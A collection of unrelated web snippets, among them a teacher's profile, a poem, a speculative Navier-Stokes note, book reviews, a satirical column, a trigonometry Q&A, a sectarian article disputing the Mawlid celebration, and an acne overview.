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Mr. Ross
Math Team
Learn Something About Me
Hello Wildcats! This is my 16th year teaching at McKeel Academy of Technology and my 17th year overall in education. I graduated with a double major in Psychology and Criminology from Florida Southern College in 2001. I am currently certified for Mathematics 6-12 and Psychology 6-12. This school year I will be teaching Math for College Readiness and A.P. Psychology.
Supplies for Math for College Readiness:
2 Composition Notebooks
1 Scientific Calculator (preferably a TI-30XIIS)
1 folder (any color)
Plenty of pencils
Supplies for AP Psychology:
Pencils and Pens
Loose Leaf paper or composition notebook
1 folder (any color)
Wish List:
Ream of Loose Leaf Paper (College or Wide Ruled)
Parent Information Video for Math for College Readiness
Parent Information Video for AP Psychology
Send Me a Message
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"pleasure is a thing that also needs accomplishing"
"The Word" by
Tony Hoagland
Down near the bottom
of the crossed-out list
of things you have to do today,
between "green thread"
and "broccoli" you find
that you have penciled "sunlight."
Resting on the page, the word
is as beautiful, it touches you
as if you had a friend
and sunlight were a present
he had sent you from some place distant
as this morning -- to cheer you up,
and to remind you that,
among your duties, pleasure
is a thing,
that also needs accomplishing
Do you remember?
that time and light are kinds
of love, and love
is no less practical
than a coffee grinder
or a safe spare tire?
Tomorrow you may be utterly
without a clue
but today you get a telegram,
from the heart in exile
proclaiming that the kingdom
still exists,
the king and queen alive,
still speaking to their children,
––to any one among them
who can find the time,
to sit out in the sun and listen.
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a generalized "rotating" fluid equation model enabled by fractional energy Hilbert space H(1/2)
which is about a well posed variation model of the NSE in a H(-1/2) framework. This goes along with a related energy measure of the "rotating" fluids which corresponds to the H(1/2) Hilbert space norm and a related classical (averaging/aggregating) energy measure which corresponds to the L(2)(H(1/2)) norm.
In the following we give some challenges and hurtles of current situation which lead to this solution concept alternatively to the "standard" H(0) framework.
In case of n=3 whether a strong solution of the non-linear, non-stationary Navier-Stokes equations exists on whole given time-interval without any smallness condition is a fundamental open mathematical problem. Answers exists, e.g. for initial value function with a non-smallness regularity assumption, which is basically about the 1/2 scale of Sobolev spaces as domain of the initial value functions (Fujija-Kato/Sohr).
We emphasis, that the pressure of the NSE requires neither initial value nor boundary conditions, but the NSE problem statement is about well posedness of the NSE PDE system. The special role of the Hilbert space H(1/2) is related to the Laplace boundary layer problem, as well, as to the concept of J. Plemelj's Green formulas with reduced regularity assumptions of its underlying domains. Solutions of the divergence problem with homogenous Dirichlet data are based on Calderon-Zygmund theory or rely on the Stokes equation with inhomogenous data. In the scale of Sobolev spaces those solutions are built on the Bogovskii solution operator, whivh can be extended continously to an operator acting from W(s,p) to W(s+1,p) for s>-2+1/p (Geissert M., Heck H., Hieber M.)
The questions concerning the existence of weak solutions of the non-linear, non-stationary Navier-Stokes equations have been basically answered. Corresponding "extrapolation" to related strong solutions by density arguments are different per problem category (linear/non-linear, stationary/non-stationary, space dimension), basically due to the structure of the Stokes operator (and its related global/local "incompatibility" between pressure and velocity), the Serrin gap (related to the non-linear term) according to Sobolev embedding theorems and the logarithm convexity of the Sobolev spaces.
Regularity and uniqueness of weak solutions for n=3 are still pending (Giga/Sohr), basically due to the Serrin gap challenge, which is a consequence of the Sobolev embedding theorem. An existence and uniqueness result of solutions in L(r) of the Navier-Stokes initial value problem is given in Giga/Miyakawa (as well, that the solutions are smooth up to the boundary if the external force is smooth). The essential step in Giga/Miyakawa is an estimate of the nonlinear term (u,grad)u, based on the resolvent of fractional powers of the Stokes operator, applying the calculus of pseudodifferential operators (Giga Y., "Weak and strong solutions of the Navier-Stokes initial value problem", Lemma 3.2). We emphasis that the fractional powers of the Stokes operator generates corresponding Hilbert scale, which enables e.g. (weak) a variational representation of the NSE initial value problem with respect to negative Hilbert scale inner products (e.g. the inner product of the Hilbert space H(-1/2)). The same is supported by lemma 2.5.2 (Sohr H., p. 152), which is about the boundedness (with corresponding appropriate definition of domains) of negative fractional Stokes operators applied to the Helmholtz projection to define extended, bounded Helmholtz projection operators with respect to related (negative) Hilbert space inner products (Sohr H., p. 264 ff.)
Basically all existence proofs of weak solutions of the Navier-Stokes equations are given as limit (in the corresponding weak topology) of existing approximation solutions built on finite dimensional approximation spaces. The approximations are basically built by the Galerkin-Ritz method, whereby the approximation spaces are e.g. built on eigenfunctions of the Stokes operator or generalized Fourier series approximations. Thereby the quality of the approximations spaces itself seems to be not relevant, e.g. special "quasi-optimal" approximations properties of finite element approximation spaces weren’t applied for those solutions.
The "power 3" challenge with its corresponding (time variable related) blow-up effect is a given due to the Sobolev embedding theorem and corresponding Serrin scale conditions. This is basically a consequence of an underlying ordinary differential (Riccati) problem. A reduced Hilbert scale factor of the (energy) Hilbert space is proposed to reduce the problematic "power of 3" term down to "power of 2" (still a challenging Riccati ODE) term, as one element of a solution concept. The consequences to the physical model parameters would be to define a pressure force based on a non-harmonic pressure function at the boundary layers.
From a Galerkin approximation method perspective addressing the non-regular behavior of the N-S-E solution(s) at zero and blow-up time go in line with local convergence analysis for non-linear parabolic equations with reduced regularity of the initial value function and/or not fulfilled compatibility conditions. The transformation of the (one dimensional) free boundary Stefan problem to a (non-linear) fixed boundary value equation provides the simplest model problem for such situations, which still has open questions, as well.
From a functional analysis perspective the above goes in line with (hyper) singular integral operators, which correspond to single / double layer potential operator, the tangential derivative ofthe single layer operator and the normal derivative of the double layer operator.
The idea: an appropriately defined distributional Hilbert space framework
In an appropriately defined distributional Hilbert space framework the incompressible (!) N-S-E are well posed. The shift on the Hilbert scale to the left “closes” the Serrin gap in case of n=3 and"time-weighted" norms "control" the singular velocity and pressure behavior for t --> 0. At the same time the Hilbert scale shift jeopardies the application of the Sobolev embedding theorem to make conclusions about classical solutions. By standard functional analysis this should enable the building of a counterexample (following the idea of J. Heywood) that existing weak solutions in "standard" scaled Sobolev spaces lead to "strong solution".
Just from a common sense feeling the same argument should not be valid in case for compressible "fluids". This would be in line with J. Plemelj's concept of a mass element, replacing an only mass density, which requires less regularity assumptions to enable the Hilbert scale shift to the left, while keeping the option to apply the Sobolev embedding theorem. This would also be in line with
[ArA] Arthurs A. M., "Complementary variational principles", where one example (§ 4.8) is about nonlinear variation method applied to compressible fluid flow.
Remark: It's suggested to apply J. Plemelj's theory also to the still not solved "radiation problem" (R. Courant, D. Hilbert, "Methods of mathematical physics, II", 1937, VI, §5, section 6, VI §10, section 3).
J. Plemelj proposed an alternative definition of a normal derivative, based on Stieltjes integral. It requires less regularity assumptions than standard definition; the "achieved" "regularity reduction"is in the same size as a reduction from a C(1) to a C(0) regularity. Plemelj's concept is proposed to be applied to ensure physical model requirements modeled by normal derivatives within a distributional Hilbert space framework.
The concept of Pseudo-Differential operators is about the study of the differential and integral operators within the same algebra of operators. The concept of Hilbert scale is about an appropriate Hilbert space with respect to the eigenpairs of self-adjoint, positive definite operators with corresponding order (respectively coercive operators in combination with the Garding inequality). The study of uniqueness and existence of weak solutions of the Navier-Stokes equation is about appropriate weak variation representation of the NSE and related approximation solutions, which converge to the NSE solution(s).
For the quasi-optimal approximation estimates of Ritz-Galerkin method in Hilbert scales (which, of course, also includes collocation methods) we refer to
[BrK1] Braun K., "Interior Error Estimates of the Ritz methods for Pseudo-Differential Equations".
Defining the right Hilbert space framework goes along with defining the proper Pseudo-Differential operators with their related domains (!). In this context we refer to the model (singular integral) Pseudo-Differential operators in
[BrK2] Braun K., "An alternative quantizationof H=xp"
[BrK3] Braun K., "A new ground state energymodel"
[LiI] Lifanov, I. K., Nenashev A. S., "Generalized functions on Hilbert spaces, singular integral equations, and problems of aerodynamics and electrodynamics".
For the linkage to the normal derivative concept of Plemelj (especially to the double layer potential, as well as its normal derivative, a hyper singular operator of Calderon-Zygmund type, which is essentially a once differentiation operator) we refer to
[AmS] Amini S., "On Boundary Integral Operators for the Laplace and the Helmholtz Equations and Their Discretization":
the operator defined by the normal derivative of the single layer potential is the dual operator of the double layer potential
- the operator defined by the tangential derivative of the single layer potential is the Hilbert transform (S(0)). It is discontinuous on the surfaces with a jump according to the Plemelj formula
- the operator of the normal derivative of the double layer potential is a hyper-singular operator, which behaves as the derivative of the Hilbert transform operator (S(1)). It is continuous (!) on the surface.
The terms "vortex density" and "rotation of a fluid element" are sometimes used synonymy. The rotation of a vector field v describes the vortex field of v. The corresponding vortex force at a point x is defined as the product of the constant normal vector of all (infinitesimal small) areas F containing x with the rot(v). The vortex density in combination with the concept of"circulation" (L. Prandtl) is interpreted as the root cause of the "rotation" of a fluid element. The definition of"circulation" is integral part of the definition of "vortex force". We propose the use Plemelj's concept/definition of a mass element (alternatively to a mass density) to define a "vortex" of a fluid element, which would require less regularity assumptions to the vector field v than H(1), but being still consistent with the definitions of fluid density, vortex force and rotation in case of corresponding H(1)-regularity assumptions.
We note that
- moving from the "convection form" to the"rotation form" goes along with a movement from "kinematic pressure" to "Bernoulli pressure"
- the Euler equation is nonlocal, i.e. one cannot compute the time derivative of the solution u at (x,t) only from the knowledge of the function u in the neighborhood of x at the time t. This gets proven by taking the divergence of the NSE, which gives the Laplacian of the pressure p. Therefore the pressure p is determined by local information, but not the gradient of p (P. Constantin, "On the Euler equations of incompressible fluids").
Reference to the following three selected J. A. Nitsche papers
[NiJ1] Nitsche J. A., "L(infinitety) boundedness of the FE Galerkin operator for parabolic problems"
[NiJ2] Nitsche J. A., several papers in the context of "Finite element approximations and non-linear parabolic differential equation"
[NiJ3] Nitsche J. A., "Direct proofs of some unusual shift theorems".
ad [NiJ1] : The paper gives an ("optimal", i.e. shift on Hilbert scale by the factor"2") shift theorem for the heat equation based on Fourier transforms estimates. The "trick" (which is about changing the order of integration with respect to the time-variable) to prove an optimal Sobolev scale shift by scale factor "-2" (analogue to the elliptic Laplace equation) is proposed to be applied for appropriately defined time-depending norm estimates for the Oseen kernel in the context of harmonic analysis for solving the incompressible Navier-Stokes equations.
ad [NiJ2] : In this paper appropriately defined time-weighted Sobolev norm are applied are applied to "manage" singular time coefficients. Following this concept analogue norms are proposed, which are about "finite time integrals over an integrand, which are built as product of a singular time factor (e.g. =te*xp(-1/2) in sync with the Hilbert scale) multiplied with an appropriate (square of a) Sobolev space-norm".
The link of [NiJ1], [NiJ2] to the N-S-E is given by the Leray-Hopf operator and its Oseen kernels.
The Fourier transformations of the Oseen kernel (see e.g. [LeM]) are required to apply "heat equation shift theorem trick", in [NiJ1]. For the latter one we refer to
[LeN] : Lerner N., "A note on the Oseen kernels"
ad [NiJ3] : For the Stokes equation an unusual shift theorem (negative norm estimates) has been proven by solving auxiliary problems, building on the Cauchy-Riemann differential equations. The effect is that the Stokes problem is decoupled into two elliptic problems. The definition of the auxiliary functions (w,z) for given C-R- relationships for (u,v) can be interpreted as defining curl(u) and div(v) as representations of the C-R equations (n=2). For n=3 the curl operator (which is for n=2 one of the two C-R equations) is linked to the Leray-Hopf projector P (and therelated Riesz operators) by the following properties (M. Lerner):
- the commutator (P,curl) vanishes
- P(curl) = curl
- (curl(u),curl(v)) =(gradP(u),gradP(v)) = D(P(u),P(v)).
We note that curl(u) describes the mean rotation of a fluid and 1/2*rot(u) gives the mean value of the angular velocity.
Replacing the gradient operator by the Calderon-Zygmund operator enables the definition of a "curl"-operator with distributional Hilbert space domain. This follows the same idea concerning alternative "energy inner product in distributional Hilbert spaces" ([BrK1]) to overcome current issues with different domain regularity/scope of momentum and location operator.
The conjecture is that with the above shift theorems for appropriately defined norms can be proven for both, velocity andpressure, anticipating the divergent behavior for t-->0.
We emphasis that the L(2)-norm of the (Oseen) tensor kernel of the solutions of the incompressible N-S-E can be estimated by t*exp(-a) with a=1/4 ([CaM] ), which is the same (space dimension n independent!) divergence behavior as for the one-dimensional Stefan problem with non-regular initial value function [NiJ4] .
As a consequence for the space dimension n=3 the „natural" energy norm H(1) is being replaced by an appropriate alternative with reduced regularity requirements. The concept of J. Plemelj still keeps the physical model relevance and, at the same time, strengths the capabilities of a potential. For the non-stationary case this norm is modified by timely-weight (integral-dt) norms. For such a Hilbert space there is a quasi-optimal shift theorem for the NSE. The initial value function for the pressure is basically of Dirac function type. We note, that the embedding properties of the Dirac function into the continuous function space are depending from the space dimension. The same is valid for the Serrin gap. The correspondingly required reduced regularity assumptions to the normal derivative are "delivered" by the concept of J. Plemelj ([PlJ]), respectively the corresponding Pseudo-Differential operator.
"Standard methods from PDE appear inadequate to settle the problem. Instead, we probably need some deep, new ideas"
C. Fefferman
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Few books I've read lately..
by - May 16, 2010
The God of Small Things by Arundhati Roy
Arundhati Roy is one gutsy woman! Who else would write the story of Velutha and Ammu? A story that clashes with the conservative noms of Kerala?? No one! And she does it really... OK I'm lost for adjectives. She plays with words, pops from one character's mind to the other without any warning. She never says anything directly and wants the readers to do all the thinking. She doesn't follow any writing techniques (atleast those I know of) and still manages to leave you dumbfounded and wanting for more. Oh yes, she even manages to grab a Booker Prize. Isn't that something??
I won't write more about this book. Not because I hated it, because I loved it. I never thought I would, atleast not after the first forty-fifty pages. I stuck with it patiently as it was our bookclub choice and I wanted to finish it no matter what. And the end result was simply amazing. I loved it, loved it, loved it. I wish Arundhati wrote more fiction...
Rating - 5/5
Three Cups of Tea by Greg Mortenson and David Oliver Relin
When we attend a charity event or read one of those inspirational stories about how some are helping the poor and needy, what's the maximum we do? We write a cheque or donate some cash for the cause. We tell ourselves, yes I'am gonna do more about it, but once we are back to our daily rat race, we forget all the promises and pledges.
But this guy, Mr. Greg Mortenson, this tall lanky American dude who lost his way while trying to climb K2 (second highest mountain on earth) in Pakistan and was helped by a family in a tiny village called Korphe, didn't forget his promise. He had promised to come back and build schools for them.
He went back to his home country, US, and started working towards saving money to build schools. He wasn't rich. Like most of us, he had to work for a living. He had few dollars left in his bank account. But that didn't deter him. He worked hard and even slept in his car to save money. He did things that we wouldn't even do for our immediate family, forget for strangers living miles away!
And did he built schools? Yes! Not one or two, but 150 so far! Unlike us, he kept his promise and sacrificed his job, time with his newly wedded wife and later with his children, a good comfortable life in US all for building schools (mainly for girls) in Pakistan and Afghanistan. Who does that?? Really, who does??
What struck me about the book was not just the story about how ONE person can make all the difference if he has enough determination and courage, it was also the way in which Muslims and Islam were portrayed in the book. For the first time, I came across a book (by a Christian) who had nothing negative to say about Islam. Nothing. He learnt how to pray, he says Assalamu Alaikum and Insha Allah, he even named his children Amira and Khyber. I wish I could meet him in person and thank him for doing the extraordinary things for girls in Central Asia and also for giving a positive picture about my religion.
OK, I think I said enough about the book. Go read it. The writing style may put you off, but stick with it. You will love it, trust me!
Rating - 5/5
For more about Three Cups of Tea, Greg Mortenson and how you can help him build more schools, go to http://www.threecupsoftea.com/about-the-book/ and http://www.ikat.org/
The Memory Keeper's Daughter by Kim Edwards
After reading a literary piece like The God of Small Things and an inspirational true story of Greg Mortenson, some may feel The Memory Keeper's Daughter wouldn't be a good choice. It's heavy on emotions, would tear you apart with 'secrets' that you wouldn't be able to keep in a million years, would make you love and hate the characters at the same time etc etc etc.
Maybe that's why I loved this book so much. The first half moved very fast and hooked me from the word go. I must admit the second half was bit of a drag and would remind you of a soap opera. But what the heck! Sometimes, that's just what you need. :)
Rating - 5/5
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Thank you for stopping by!
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Two Poker Truths
Share This Post!
Written by Poker Penguin
Well, I promised you two powerful poker truths, and I'm hopefully going to deliver. I'm not going to beat around the bush, let's get straight into it.
Truth #1:
It doesn't matter what your hand started as. All that matters is what it is now and what it might end up being.
I see it every night. There's four to a straight or a flush on the board and someone calls the river and loses only to flip over a pair of aces that had no chance of winning. Why?
Article continued on: Best Poker Offers
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Redistricting Craze hits Spokane
The Chief was looking for a patsy, somebody to cover the redistricting committee's meeting with Spokane's New Improved City Council. I happened to be the only person still sober on Monday January 4, 2000, at 5:30 P.M. I figured this little thing would be perfect to put me to sleep tonight. Boy was I wrong!
David Bray wrote the charter change to create the new system. I placed myself strategically within earshot as the meeting got under way.
Right off the bat, the committee asked for ten grand for legal advice, a hired facilitator, and expense money. It landed on the city council and Bray like a right cross. Bray was clearly hobbled. The council, used to such blows was only slightly stunned.
Bray tried a weak counter. "The whole thing was written in the simplest of terms," he said. "Anyone with a calculator and a map should be able to do it in an evening." What a sap! It was obvious Bray was a rookie. This guy had no idea how the game is played in the big leagues.
I think it was Mel Brooks who once wrote, if you want to screw something up give it to a committee. If you really want to bury it give it to a committee with academicians on it. I glanced quickly at the committee roster. Bingo! One of the committee members was John Kohls, an associate professor at one of Spokane's urban catholic universities. Bray was in real trouble.
Professor Kohl, with great philosophical insight, pointed out that each district is to be roughly equal in population. Then he hammered the unsuspecting Bray with the question, what does roughly equal mean?
"If it's 10 percent off, is that too much? Or 5 percent? How close does it have to be?" Bray dropped to his knees, blood running from his nose.
Kohl continued to hammer away. What about the shape of the districts, professor? "There could be a lot of gray areas there," he replied. That did it, Bray was out cold. It was a distressing sight. His right eye was swollen shut, blood dripped from one ear. His corner men hoped there wasn't permanent brain damage.
I thought the shape question was legitimate. Are trapezoids allowed? Do the shapes have to be roughly equal in size? Will Hillyard be allowed in?
I couldn't resist. Excuse me professor, let's say you get the districts set up and approved. Two days before the election a meteorite wipes out half of one district. Obviously, the population ratios are thrown off. Does this mean another redistricting must take place before the election can be held?
Professor Kohl's eyebrows furrowed low over his eyes. He frowned a great frown. That's just another reason we need sound legal advice, he said.
I love Spokane.
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What are uses of trigonometry in our daily life?
it is for my maths project.
Trigonometry is a way of describing geometry in algebraic form. As we know lot of things in our daily life is directly related to geometry and algebra from arranging your desk or books in an orderly manner to going to buy a candy from your corner store.
Let examine the use of trigonometry in human hearing and vision. Let's say you hear a noise from accross your room and you turn your head to see what the noise is about. Have you ever wonder how we are tuned to look at the direction from where the sound came. Because our brain hears from both ears and then calculate the angle of direction based on the differece in milli second that our ears hear the noise apart.
Same is true for eyes to produce 3D world we experience every day
A sine curve may be used to analyse how your interest in an on going episode such a live game on TV or movie . When you see alike things your interst hit zero point and when some suspense builds up and gradually going to a point where you get goose bumps then sine is on max value. Then you see some boring talk you tend to nod your heads which may be the sinx = -1 point
we can find use of Trigonometry in lot of different areas too.
Measuring angles. Architects use it a lot.
Trigonometry deeply touches our daily lives.
When you drive on our road ways, the construction of ramps, of tunnels and bridges, the grades (slopes) of our roads, were all laid out using trig.
The house you live in was designed using trig for, the foundation was laid out using trig, your staircases and your roof was constructed using trig, and even the surface-area to be shingled was calculated using trig.
The car you drive in was designed using Trig for everything from the bolt-pattern on your wheels to the ignition cycle of your engine. (Trig is as much about circles and cycles as it is about triangles. It's true!)
If you use GPS, you are using a system of triangulation between satellites which is founded on trigonometry. The same is true of cell-phones interacting with towers.
The computer your are using has circuitry designed with trigonometry; (cycles, again.) Indeed, anything you plug in to a wall runs on ac current which operates at 60 cycles a second, and so used trigonometry at some point in the design.
If you wear a watch or look at a clock, you are able to do some because someone used trigonometry in designing the gears and in laying out the numbers on the face.
The truth is that trigonometry is deeply enmeshed in every aspect of our modern lives, from the moment we get up, until the moment we go to bed. The music we listen too, the phones we talk on, the appliances we cook with, the roads we drive on, the cars and bikes we ride, the lights we see by, the video games we enjoy, the TV's we watch, all use or used trigonometry, because all of them are based on angles or cycles or forms of triangulation in their operation or design. When you stop to think about it, the hard task is finding examples where trigonometry has no role to play in our daily lives.
Trigonometry is so useful! For instance, suppose you're walking down the street. and there's this triangle, right? and the cosine of angle A is 0.297 and the length of the opposite side is 2 yards and a meter. Well, how are you suposed to figure out the other two angles? Trigonometry!
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Use of square brackets
Even though matched square brackets are synonymous with parentheses in the syntax, many programmers use square brackets only in a few select places. In particular, programmers should restrict use of square brackets to places in syntactic forms where two consecutive open parentheses would otherwise be common. These are the applicable forms specified in the report and the library report:
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The Age of Smart advents a glorious panoply of technology and artificial intelligence served in a heady rush as the panacea for all that ails.
Yet with each Age comes the very same trial, the same quest for relevance, the same cost where sword and words draft the sinews of line, and the same pain and ecstasy in manifesting through choice…
Let us choose with vigilance as we craft new matrices lest they entangle us.
Comments are closed.
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The Mawlid Papers – Part 36 – Fact not Fiction: The Mawlid Was Not Celebrated by the Salaf us-Saleh; A Reply to the Barelwi Asrar Rashid
Compiled, Translated & Annotated
Abu Hibbaan & Abu Khuzaimah Ansari
READ THE LAST PART The Mawlid Papers – Part 35
The Sufi Barelwi’s also known as Raza Khani’s, in a desperate attempt to salvage some misdirected credibility organised a lecture in Luton on Sunday 26th November 2017 at Luton Central Mosque. This was undoubtedly organised in spite of the lecture the Salafi’s of Luton had scheduled on the same day at Luton Islamic Centre titled ‘Mawlid un Nabi – To Celebrate or Not’
The Raza Khani Sufi Barelwi’s in anger scheduled a lecture titled, ‘Mawlid – Fact not Fiction’ and they invited none other than a disgraced and shambled speaker, who in the past year had been remorsefully recovering from a severe and dismal defeat in a debate.
The deluded individual had duped himself and his ardent blind followers in thinking they could use divine texts revealed by Allah, to justify and evidence the worship and calling upon other than Allah, It did not make any sense to any mature, sensible and sane individual to even think you could use the words of the creator and the words of his chosen Messenger of Allah ﷺ to prove calling upon others, but how can you help those who refuse to think and ponder? We are talking about none other than the Barelwi Sufi Asrar Rashid.
The same individual in other lectures refers to us, i.e. Salafis as Pseudo Salafis as if this was some kind of obscene swear or a derogatory remark, which will have the desired affect of defamation or degradation. However it does and will have repercussions, and that is we will aptly and happily refer to these Barelwi Sufis as Raza Khani’s i.e. on the Religion of Ahmad Raza, Rida, Riddah or whatever the Riz Raz Khan he was. Likewise and similarly do not be squeamish or be remotely offended when we start referring to you as Lahabi’s!!!
Perhaps, inshAllah we can analyse the lecture itself at a different time but what we found most repugnant was the title of ‘Fact not Fiction,’ implying the celebrating of the Mawlid is a something factual, which is obviously ludicrously insane because the Mawlid is a clear, manifest and absolute innovation, a Bid’ah
What we would like to do, is to see whether the Mawlid is factual or actually a fiction based on the statements of the Sufi Barelwi Raza Khani’s Church fathers.
You can often hear Asrar Rashid venerating and praising his Barelwi church father, Ahmad Rida Khan in numerous videos and in this regards holds him high esteem and respect. The same Ahmad Raza Khan himself declared the 12th of Rabi ul-Awwal to be the day the Messenger of Allah ﷺ died. He said the Messenger of Allah ﷺ was born and also died on 12th of Rabi ul-Awwal (Malfuzat 2:220).
So we ask these Mawlid lovers, are you astagfirullah celebrating the birth or death of the Messenger of Allah ﷺ!!! Now let the average Barelwi adherent and sympathiser claim he is celebrating the death of the Messenger of Allah ﷺ, this is indeed from the evil tricks of the cursed Ibis and the shayatin from amongst men. Is this what you call Mawlid – Fact not fiction, Astagfiruallh!
This is the problem, that these people do not for a moment think logically with their brains which Allah, from his mercy and blessings bestowed upon them. for how long will you remain ignorant and hide behind those to feign knowledge of the sacred sciences, there is no excuse, and fear the day when your leaders and guides will be exposed for taking you away from the Quran and Sunnah.
The Barailwi author and defender of the Mawlid, Abdul-Sam’i Rampuri clearly says the Mawlid gatherings were conducted in the sixth (6th) century of Islam, he says.
“The Mawlid gatherings which were organised at the end of the sixth (6th) century were considered to be good by the scholars and honourable people.” (Anwar Sati’a Dar Bayan Mawlud wa Fatihah p.50)
See the scan below from the original Anwar,
Screen Shot 2017-12-05 at 09.17.07
Screen Shot 2017-12-05 at 09.01.07
(Anwar Sati’a p.50)
Abdul Sam’i Rampuri went onto say
“The selling of goods and products (related to Milad – i.e. christmas milad trees, milad cakes, milad lights and HALWA) and with it being specific to the month of Rabi ul-Awwal and then further restricting and designating the 12th day for Milad was practised in later times i.e. at the end of the Sixth (6th) century.” (Anwar Sati’a p.159)
There was no Mawlid or a third Eīd during the first centuries of Islam, including the era of the companions, the Tabi’in and the Atba Tabi’in, ie the first three generations, what we abbreviate to the Salaf us-Saleh, nor during the period of the great Imāms.
The Barailwi defender and Churchfather Ahmad Yar Naeemi cites the view of Hafiz al-Sakhawi via the statement of Hafiz Ibn Hajr al-Haithami who said (i.e. al-Sakhawi) said,
“The Milād was not celebrated by anyone in the first three generations, it was introduced (innovated) later on.” (Ja’a al-Haq 1:235)
Another Sufi Barelwi church father, Didar Ali, who is held with great esteem also acknowledged and affirmed there was no evidence for Mawlid during the first generation and the Salaf us-Salihin was in fact introduced (innovated/fabricated) later. (Rasul al-Kalam Fi Bayan al-Mawlid wal-Qiyam p.15)
The Barailwi Sūfī Hadith explainer, Ghulam Rasool Saeedi said,
“I say: the Salaf us-Salihin meaning the Sahabah and the Tabi’in did not practise or organise Milad gatherings, and this is correct, however neither did the Sahabah or Tabi’in prohibit it” (Sharh Sahih Muslim 3:179)
sharh sahih muslim
Screen Shot 2017-12-04 at 22.35.11
(Sharh Sahih Muslim 3:179)
The intent here is to show the Mawlid was not practised in the first three blessed generations i.e. during the time of the companions, successors and their successors i.e. the Salaf us-Saleh. When not a single one of them practised the Mawlid, it shows they were unanimous in its prohibition and that it was an alien concept, so Ghulam Rasool Saeedis assertion they did not prohibit it, is a very lame and poor line of argument.
Furthermore, this shows none of the other Sahabah or Tabi’in practised the Mawlid, because if they had they would been warned and prohibited from doing so by the other Sahabah and Tabi’in, therefore the last part of the statement of Ghulam Rasool Saeedi is a proof for us.
The Sahabah and Tabi’in would not have needed to warn from the Mawlid because they had been instructed by the Messenger of Allah ﷺ not to exaggerate in praise of him like the christians did with Isa Alayhis Salam and they were people who follow the Messenger of Allah ﷺ in totality without following their whims and desires like the Sufi Barelwis do.
Who is Ghulam Rasool Saeedi, well he is someone who the Sufi Barelwis revere due to his knowledge of hadith, he is well respected and has a venerable position with them. He cites an important principle which the sufi Barailwis abhorrently desecrate, he said
“In this regard the correct principle is that any specific act of worship that is to be practised, and there are no preventative factors and despite this the Messenger of Allah ﷺ deliberately abandoned it, then performing such an act is indeed with certainly impermissible and an act of innovation (bid’ah).” (Sharh Sahih Muslim 2:545)
Dear readers, this is the FACT Asrar Rashid and his Barelwi sect would like you to believe, knowing very well their scholars and church fathers were agreed the Mawlid was not celebrated or practised during the first three blessed generations i.e. the Salaf us-Salihun as Asrar Rashid often says.
The real FACT is, the Salaf us-Saleh, the Sahabah, Tabi’in and Atba Tabi’in did not celebrate the Mawlid so stop following yourselves and misguiding others.
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What Is Acne?
Acne is a difficult to treat and often debilitating disease that affects the skin, usually the face. The most common form of acne (acne vulgaris) is an infection within a hair follicle. This infection causes varying degrees of inflammation, which manifest as pimples, nodules and cysts. When the inflammation is severe, it can cause permanent damage to the skin and create acne scars.
Types of Acne
Acne can range from small patches of red skin with tiny bumps to large cysts that are painful to the touch. Different types of acne can have profoundly different underlying causes and understanding precisely what type of acne you have can help you identify what solutions are going to have the best chance of being effective.
Type 1 Acne
• Minimal inflammation
• Minimal affected area
• Not painful
• Irregular outbreaks
Type 1 acne is often transient and often resolves on its own after about a week. Non-inflamed blackheads and small red bumps (papules) are common with this form of acne. This form of acne appears to be particularly common in females and often affects the forehead, cheeks, nose and neck. Topical treatments are often effective at resolving the symptoms associated with Type 1 acne.
Type 2 Acne
• Mild inflammation
• Some painful pimples
• Regular outbreaks
Type 2 Acne is similar to Type 1 acne, but is characterized by increased levels of inflammation and more frequent outbreaks. With Type 2 acne, pimples can range from small red bumps to medium sized whiteheads.
Unlike Type 1 acne blemishes, pimples associated with Type 2 acne are often painful to the touch. Over-The-Counter (OTC) topical treatments are often partially effective at decreasing the severity and duration of outbreaks, but are frequently inadequate for Type 2 acne. Topical antibiotics, Topical Retinoids and Light-Based Therapies can be quite effective for this type of acne. In some instances it may be necessary to explore oral antibiotics or oral retinoids, if the acne does not respond completely to topical treatments.
In general, Type 2 acne is minimally scarring if allowed to resolve on its own. However, it is important to practice good hygiene and avoid exacerbating the situation by “”popping”” pimples without cleaning and sterilizing the area before and after.
Type 3 Acne
• Large, painful pimples
• Nodular pimples
• Frequent outbreaks
Type 3 Acne is characterized by the presence of medium to large nodules and pustules that are frequently painful. With Type 3 acne, pimples are often associated with significant amounts of inflammation. Large whiteheads and large, painful red bumps (nodules and cysts) are common. Individual pimples can take a long time to resolve, up to 10-14 days.
In type 3 acne, much of the inflammation and infection originates deeper in the skin tissue than in Acne Types 1 and 2. Because the source of the problem is deep within the skin, Type 3 acne is usually unresponsive to OTC medications, and many other topical treatments.
Topical antibiotics and topical retinoids are often innefective treatments for people with Type 3 acne. In many cases, oral antibiotics, oral retinoids (Isotretinoin) and laser-based therapies are the only effective treatments. The increased inflammation associated with Type 3 acne poses a significant risk of permanent scarring.
Type 4 Acne
• Large and painful nodules.
• Abundant Pustules and Cysts.
• Persistent Outbreak.
Type 4 Acne is the most severe form of the disease. In most cases, Type 4 acne will cause permanent skin damage and scarring. Like Type 3 acne, Type 4 acne is characterized by inflammatory infections deep within the hair follicle and surrounding tissue. Large, painful cysts and nodules are a common feature in Type 4 acne.
Type 4 acne is generally non-responsive to OTC medications. Topical antibiotics, topical retinoids and naturopathic treatments are poorly effective in many cases. Type 4 acne is a serious medical condition that should be evaluated and treated immediately by a dermatologist, if possible. Treating Type 4 acne often requires aggressive treatment regimens that combine topical and oral pharmaceuticals. Type 4 acne is often extremely painful, both physically and psychologically.
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Urban and Population Geography working group
• If you would like to get an overview of current courses, please click here (german & englisch courses)
• For information on the citation rules, please click here (currently only in german language)
• Here you can get a PDF of the declaration of indipendent writing required for writing papers (englisch)
Please include the text in every paper you submit. It states that you have independently written your paper without plagiarizing other authors interlectual property.
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Tain Museum Image Library
Old Bonar Bridge 2
Tain Museum Image Library
Old Bonar Bridge 2
This is the structure that was built to replace the original bridge swept away by a flood in 1892. (See picture #41). It in turn was relaced by the current bridge.
Picture added on 15 February 2006
When this bridge was demolished my Dad (David Mackenzie, Accountant Bonar Bridge) salvaged some of the huge granite blocks (most of which were being dumped or simply pushed into the river) and used them to build a large wall at the back of our house: Craigvar, on Dornoch Road. My brother John now lives there and those blocks aren't going anywhere fast!
Added by Andrew Mackenzie on 04 January 2007
Please add your comments about this picture using the form below.
Your Name
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RE: New TECHWR-L Poll Question
Subject: RE: New TECHWR-L Poll Question
From: Kerstin -dot- Molthagen -at- etas -dot- de
Date: Mon, 1 Oct 2001 18:24:14 +0200
Win Day wrote:
>At 04:21 PM 01/10/2001 +0100, Jane Carnall wrote:
